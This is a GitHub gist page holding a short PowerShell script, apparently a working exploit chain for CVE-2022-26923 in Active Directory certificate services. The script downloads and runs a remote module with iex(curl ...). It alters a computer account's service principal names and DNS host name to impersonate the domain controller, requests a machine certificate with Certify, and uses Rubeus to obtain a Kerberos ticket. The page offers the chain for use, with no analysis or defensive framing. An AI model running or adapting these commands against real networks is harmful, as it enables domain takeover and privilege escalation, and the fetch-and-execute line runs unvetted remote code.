Skip to content

Instantly share code, notes, and snippets.

@ZephrFish
Forked from Wh04m1001/CVE-2022–26923.ps1
Created May 11, 2022 14:33
Show Gist options
  • Save ZephrFish/3f027472aa36a400b2a70dfc44a73270 to your computer and use it in GitHub Desktop.
Save ZephrFish/3f027472aa36a400b2a70dfc44a73270 to your computer and use it in GitHub Desktop.
iex(curl https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1 -UseBasicParsing )
Import-ActiveDirectory
Set-ADComputer WIN-JQTB1UHHF2S -ServicePrincipalNames @{REPLACE="HOST/WIN-JQTB1UHHF2S","RestrictedKrbHost/WIN-JQTB1UHHF2S"} -Verbose
#in my testing i had to set dnshostname to $null first
Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName $null
Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local
.\Certify.exe request /ca:DC1.batcave.local\batcave-DC1-CA /template:Machine /machine
#linux
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
.\Rubeus.exe asktgt /cert:cert.pfx
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment